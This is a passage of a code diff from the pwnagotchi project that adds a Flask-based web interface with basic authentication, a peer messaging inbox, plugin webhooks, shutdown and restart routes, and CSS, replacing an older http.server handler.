|
||||
self.wfile.write(bytes(html, "utf8"))
|
||||
except:
|
||||
pass
|
||||
|
||||
# serve the main html page
|
||||
def _index(self):
|
||||
self._html(INDEX % (pwnagotchi.name(), 1000))
|
||||
|
||||
# serve a message and shuts down the unit
|
||||
def _shutdown(self):
|
||||
self._html(SHUTDOWN % pwnagotchi.name())
|
||||
pwnagotchi.shutdown()
|
||||
|
||||
# serve the PNG file with the display image
|
||||
def _image(self):
|
||||
global frame_lock, frame_path, frame_ctype
|
||||
|
||||
with frame_lock:
|
||||
self.send_response(200)
|
||||
self._send_cors_headers()
|
||||
self.send_header('Content-type', frame_ctype)
|
||||
self.end_headers()
|
||||
try:
|
||||
with open(frame_path, 'rb') as fp:
|
||||
shutil.copyfileobj(fp, self.wfile)
|
||||
except:
|
||||
pass
|
||||
|
||||
# check the Origin header vs CORS
|
||||
def _is_allowed(self):
|
||||
if not Handler.AllowedOrigin or Handler.AllowedOrigin == '*':
|
||||
return True
|
||||
|
||||
# TODO: FIX doesn't work with GET requests same-origin
|
||||
origin = self.headers.get('origin')
|
||||
if not origin:
|
||||
logging.warning("request with no Origin header from %s" % self.address_string())
|
||||
return False
|
||||
|
||||
if origin != Handler.AllowedOrigin:
|
||||
logging.warning("request with blocked Origin from %s: %s" % (self.address_string(), origin))
|
||||
return False
|
||||
|
||||
return True
|
||||
|
||||
def do_OPTIONS(self):
|
||||
self.send_response(200)
|
||||
self._send_cors_headers()
|
||||
self.end_headers()
|
||||
|
||||
def do_POST(self):
|
||||
if not self._is_allowed():
|
||||
return
|
||||
if self.path.startswith('/shutdown'):
|
||||
self._shutdown()
|
||||
else:
|
||||
self.send_response(404)
|
||||
|
||||
def do_GET(self):
|
||||
if not self._is_allowed():
|
||||
return
|
||||
|
||||
if self.path == '/':
|
||||
self._index()
|
||||
|
||||
elif self.path.startswith('/ui'):
|
||||
self._image()
|
||||
|
||||
elif self.path.startswith('/plugins'):
|
||||
matches = re.match(r'\/plugins\/([^\/]+)(\/.*)?', self.path)
|
||||
if matches:
|
||||
groups = matches.groups()
|
||||
plugin_name = groups[0]
|
||||
right_path = groups[1] if len(groups) == 2 else None
|
||||
plugins.one(plugin_name, 'webhook', self, right_path)
|
||||
|
||||
else:
|
||||
self.send_response(404)
|
||||
|
||||
|
||||
class Server(object):
|
||||
def __init__(self, config):
|
||||
self._enabled = config['video']['enabled']
|
||||
self._port = config['video']['port']
|
||||
self._address = config['video']['address']
|
||||
self._httpd = None
|
||||
|
||||
if 'origin' in config['video']:
|
||||
Handler.AllowedOrigin = config['video']['origin']
|
||||
|
||||
if self._enabled:
|
||||
_thread.start_new_thread(self._http_serve, ())
|
||||
|
||||
def _http_serve(self):
|
||||
if self._address is not None:
|
||||
self._httpd = HTTPServer((self._address, self._port), Handler)
|
||||
logging.info("web ui available at http://%s:%d/" % (self._address, self._port))
|
||||
self._httpd.serve_forever()
|
||||
else:
|
||||
logging.info("could not get ip of usb0, video server not starting")
|
12
pwnagotchi/ui/web/__init__.py
Normal file
@@ -0,0 +1,12 @@
|
||||
from threading import Lock
|
||||
|
||||
frame_path = '/root/pwnagotchi.png'
|
||||
frame_format = 'PNG'
|
||||
frame_ctype = 'image/png'
|
||||
frame_lock = Lock()
|
||||
|
||||
|
||||
def update_frame(img):
|
||||
global frame_lock, frame_path, frame_format
|
||||
with frame_lock:
|
||||
img.save(frame_path, format=frame_format)
|
216
pwnagotchi/ui/web/handler.py
Normal file
@@ -0,0 +1,216 @@
|
||||
import logging
|
||||
import os
|
||||
import base64
|
||||
import _thread
|
||||
import secrets
|
||||
import json
|
||||
from functools import wraps
|
||||
|
||||
# https://stackoverflow.com/questions/14888799/disable-console-messages-in-flask-server
|
||||
logging.getLogger('werkzeug').setLevel(logging.ERROR)
|
||||
os.environ['WERKZEUG_RUN_MAIN'] = 'true'
|
||||
|
||||
import pwnagotchi
|
||||
import pwnagotchi.grid as grid
|
||||
import pwnagotchi.ui.web as web
|
||||
from pwnagotchi import plugins
|
||||
|
||||
from flask import send_file
|
||||
from flask import Response
|
||||
from flask import request
|
||||
from flask import jsonify
|
||||
from flask import abort
|
||||
from flask import redirect
|
||||
from flask import render_template, render_template_string
|
||||
|
||||
|
||||
class Handler:
|
||||
def __init__(self, config, agent, app):
|
||||
self._config = config
|
||||
self._agent = agent
|
||||
self._app = app
|
||||
|
||||
self._app.add_url_rule('/', 'index', self.with_auth(self.index))
|
||||
self._app.add_url_rule('/ui', 'ui', self.with_auth(self.ui))
|
||||
|
||||
self._app.add_url_rule('/shutdown', 'shutdown', self.with_auth(self.shutdown), methods=['POST'])
|
||||
self._app.add_url_rule('/restart', 'restart', self.with_auth(self.restart), methods=['POST'])
|
||||
|
||||
# inbox
|
||||
self._app.add_url_rule('/inbox', 'inbox', self.with_auth(self.inbox))
|
||||
self._app.add_url_rule('/inbox/profile', 'inbox_profile', self.with_auth(self.inbox_profile))
|
||||
self._app.add_url_rule('/inbox/peers', 'inbox_peers', self.with_auth(self.inbox_peers))
|
||||
self._app.add_url_rule('/inbox/<id>', 'show_message', self.with_auth(self.show_message))
|
||||
self._app.add_url_rule('/inbox/<id>/<mark>', 'mark_message', self.with_auth(self.mark_message))
|
||||
self._app.add_url_rule('/inbox/new', 'new_message', self.with_auth(self.new_message))
|
||||
self._app.add_url_rule('/inbox/send', 'send_message', self.with_auth(self.send_message), methods=['POST'])
|
||||
|
||||
# plugins
|
||||
plugins_with_auth = self.with_auth(self.plugins)
|
||||
self._app.add_url_rule('/plugins', 'plugins', plugins_with_auth, strict_slashes=False,
|
||||
defaults={'name': None, 'subpath': None})
|
||||
self._app.add_url_rule('/plugins/<name>', 'plugins', plugins_with_auth, strict_slashes=False,
|
||||
methods=['GET', 'POST'], defaults={'subpath': None})
|
||||
self._app.add_url_rule('/plugins/<name>/<path:subpath>', 'plugins', plugins_with_auth, methods=['GET', 'POST'])
|
||||
|
||||
def _check_creds(self, u, p):
|
||||
# trying to be timing attack safe
|
||||
return secrets.compare_digest(u, self._config['username']) and \
|
||||
secrets.compare_digest(p, self._config['password'])
|
||||
|
||||
def with_auth(self, f):
|
||||
@wraps(f)
|
||||
def wrapper(*args, **kwargs):
|
||||
auth = request.authorization
|
||||
if not auth or not auth.username or not auth.password or not self._check_creds(auth.username,
|
||||
auth.password):
|
||||
return Response('Unauthorized', 401, {'WWW-Authenticate': 'Basic realm="Unauthorized"'})
|
||||
return f(*args, **kwargs)
|
||||
|
||||
return wrapper
|
||||
|
||||
def index(self):
|
||||
return render_template('index.html',
|
||||
title=pwnagotchi.name(),
|
||||
other_mode='AUTO' if self._agent.mode == 'manual' else 'MANU',
|
||||
fingerprint=self._agent.fingerprint())
|
||||
|
||||
def inbox(self):
|
||||
page = request.args.get("p", default=1, type=int)
|
||||
inbox = {
|
||||
"pages": 1,
|
||||
"records": 0,
|
||||
"messages": []
|
||||
}
|
||||
error = None
|
||||
|
||||
try:
|
||||
if not grid.is_connected():
|
||||
raise Exception('not connected')
|
||||
|
||||
inbox = grid.inbox(page, with_pager=True)
|
||||
except Exception as e:
|
||||
logging.exception('error while reading pwnmail inbox')
|
||||
error = str(e)
|
||||
|
||||
return render_template('inbox.html',
|
||||
name=pwnagotchi.name(),
|
||||
page=page,
|
||||
error=error,
|
||||
inbox=inbox)
|
||||
|
||||
def inbox_profile(self):
|
||||
data = {}
|
||||
error = None
|
||||
|
||||
try:
|
||||
data = grid.get_advertisement_data()
|
||||
except Exception as e:
|
||||
logging.exception('error while reading pwngrid data')
|
||||
error = str(e)
|
||||
|
||||
return render_template('profile.html',
|
||||
name=pwnagotchi.name(),
|
||||
fingerprint=self._agent.fingerprint(),
|
||||
data=json.dumps(data, indent=2),
|
||||
error=error)
|
||||
|
||||
def inbox_peers(self):
|
||||
peers = {}
|
||||
error = None
|
||||
|
||||
try:
|
||||
peers = grid.memory()
|
||||
except Exception as e:
|
||||
logging.exception('error while reading pwngrid peers')
|
||||
error = str(e)
|
||||
|
||||
return render_template('peers.html',
|
||||
name=pwnagotchi.name(),
|
||||
peers=peers,
|
||||
error=error)
|
||||
|
||||
def show_message(self, id):
|
||||
message = {}
|
||||
error = None
|
||||
|
||||
try:
|
||||
if not grid.is_connected():
|
||||
raise Exception('not connected')
|
||||
|
||||
message = grid.inbox_message(id)
|
||||
if message['data']:
|
||||
message['data'] = base64.b64decode(message['data']).decode("utf-8")
|
||||
except Exception as e:
|
||||
logging.exception('error while reading pwnmail message %d' % int(id))
|
||||
error = str(e)
|
||||
|
||||
return render_template('message.html',
|
||||
name=pwnagotchi.name(),
|
||||
error=error,
|
||||
message=message)
|
||||
|
||||
def new_message(self):
|
||||
to = request.args.get("to", default="")
|
||||
return render_template('new_message.html', to=to)
|
||||
|
||||
def send_message(self):
|
||||
to = request.form["to"]
|
||||
message = request.form["message"]
|
||||
error = None
|
||||
|
||||
try:
|
||||
if not grid.is_connected():
|
||||
raise Exception('not connected')
|
||||
|
||||
grid.send_message(to, message)
|
||||
except Exception as e:
|
||||
error = str(e)
|
||||
|
||||
return jsonify({"error": error})
|
||||
|
||||
def mark_message(self, id, mark):
|
||||
if not grid.is_connected():
|
||||
abort(200)
|
||||
|
||||
logging.info("marking message %d as %s" % (int(id), mark))
|
||||
grid.mark_message(id, mark)
|
||||
return redirect("/inbox")
|
||||
|
||||
def plugins(self, name, subpath):
|
||||
if name is None:
|
||||
# show plugins overview
|
||||
abort(404)
|
||||
else:
|
||||
if name in plugins.loaded and hasattr(plugins.loaded[name], 'on_webhook'):
|
||||
try:
|
||||
return plugins.loaded[name].on_webhook(subpath, request)
|
||||
except Exception:
|
||||
abort(500)
|
||||
else:
|
||||
abort(404)
|
||||
|
||||
# serve a message and shuts down the unit
|
||||
def shutdown(self):
|
||||
try:
|
||||
return render_template('status.html', title=pwnagotchi.name(), go_back_after=60,
|
||||
message='Shutting down ...')
|
||||
finally:
|
||||
_thread.start_new_thread(pwnagotchi.shutdown, ())
|
||||
|
||||
# serve a message and restart the unit in the other mode
|
||||
def restart(self):
|
||||
mode = request.form['mode']
|
||||
if mode not in ('AUTO', 'MANU'):
|
||||
mode = 'MANU'
|
||||
|
||||
try:
|
||||
return render_template('status.html', title=pwnagotchi.name(), go_back_after=30,
|
||||
message='Restarting in %s mode ...' % mode)
|
||||
finally:
|
||||
_thread.start_new_thread(pwnagotchi.restart, (mode,))
|
||||
|
||||
# serve the PNG file with the display image
|
||||
def ui(self):
|
||||
with web.frame_lock:
|
||||
return send_file(web.frame_path, mimetype='image/png')
|
51
pwnagotchi/ui/web/server.py
Normal file
@@ -0,0 +1,51 @@
|
||||
import _thread
|
||||
import secrets
|
||||
import logging
|
||||
import os
|
||||
|
||||
# https://stackoverflow.com/questions/14888799/disable-console-messages-in-flask-server
|
||||
logging.getLogger('werkzeug').setLevel(logging.ERROR)
|
||||
os.environ['WERKZEUG_RUN_MAIN'] = 'true'
|
||||
|
||||
from flask import Flask
|
||||
from flask_cors import CORS
|
||||
from flask_wtf.csrf import CSRFProtect
|
||||
|
||||
from pwnagotchi.ui.web.handler import Handler
|
||||
|
||||
class Server:
|
||||
def __init__(self, agent, config):
|
||||
self._config = config['web']
|
||||
self._enabled = self._config['enabled']
|
||||
self._port = self._config['port']
|
||||
self._address = self._config['address']
|
||||
self._origin = None
|
||||
self._agent = agent
|
||||
if 'origin' in self._config:
|
||||
self._origin = self._config['origin']
|
||||
|
||||
if self._enabled:
|
||||
_thread.start_new_thread(self._http_serve, ())
|
||||
|
||||
def _http_serve(self):
|
||||
if self._address is not None:
|
||||
web_path = os.path.dirname(os.path.realpath(__file__))
|
||||
|
||||
app = Flask(__name__,
|
||||
static_url_path='',
|
||||
static_folder=os.path.join(web_path, 'static'),
|
||||
template_folder=os.path.join(web_path, 'templates'))
|
||||
|
||||
app.secret_key = secrets.token_urlsafe(256)
|
||||
|
||||
if self._origin:
|
||||
CORS(app, resources={r"*": {"origins": self._origin}})
|
||||
|
||||
CSRFProtect(app)
|
||||
Handler(self._config, self._agent, app)
|
||||
|
||||
logging.info("web ui available at http://%s:%d/" % (self._address, self._port))
|
||||
|
||||
app.run(host=self._address, port=self._port, debug=False)
|
||||
else:
|
||||
logging.info("could not get ip of usb0, video server not starting")
|
34
pwnagotchi/ui/web/static/css/style.css
Normal file
@@ -0,0 +1,34 @@
|
||||
.ui-image {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.pixelated {
|
||||
image-rendering: optimizeSpeed; /* Legal fallback */
|
||||
image-rendering: -moz-crisp-edges; /* Firefox */
|
||||
image-rendering: -o-crisp-edges; /* Opera */
|
||||
image-rendering: -webkit-optimize-contrast; /* Safari */
|
||||
image-rendering: optimize-contrast; /* CSS3 Proposed */
|
||||
image-rendering: crisp-edges; /* CSS4 Proposed */
|
||||
image-rendering: pixelated; /* CSS4 Proposed */
|
||||
-ms-interpolation-mode: nearest-neighbor; /* IE8+ */
|
||||
}
|
||||
|
||||
.image-wrapper {
|
||||
flex: 1;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
div.status {
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
a.read {
|
||||
color: #777 !important;
|
||||
}
|
||||
|
||||
p.messagebody {
|
||||
padding: 1em;
|
||||
}
|
5
pwnagotchi/ui/web/static/js/jquery-1.12.4.min.js
vendored
Normal file
2
pwnagotchi/ui/web/static/js/jquery-qrcode-0.17.0.min.js
vendored
Normal file
BIN
pwnagotchi/ui/web/static/js/jquery.mobile/images/ajax-loader.gif
Normal file
After ![]() (image error) Size: 6.1 KiB |
After ![]() (image error) Size: 219 B |
After ![]() (image error) Size: 227 B |
After ![]() (image error) Size: 244 B |
After ![]() (image error) Size: 243 B |
After ![]() (image error) Size: 146 B |
After ![]() (image error) Size: 167 B |
After ![]() (image error) Size: 173 B |
After ![]() (image error) Size: 159 B |
After ![]() (image error) Size: 171 B |
After ![]() (image error) Size: 149 B |
After ![]() (image error) Size: 149 B |
After ![]() (image error) Size: 156 B |
After ![]() (image error) Size: 147 B |
After ![]() (image error) Size: 152 B |
After ![]() (image error) Size: 147 B |
After ![]() (image error) Size: 163 B |
After ![]() (image error) Size: 169 B |
After ![]() (image error) Size: 163 B |
After ![]() (image error) Size: 165 B |
After ![]() (image error) Size: 151 B |
After ![]() (image error) Size: 307 B |
After ![]() (image error) Size: 314 B |
After ![]() (image error) Size: 233 B |
After ![]() (image error) Size: 240 B |
After ![]() (image error) Size: 132 B |
After ![]() (image error) Size: 135 B |
After ![]() (image error) Size: 147 B |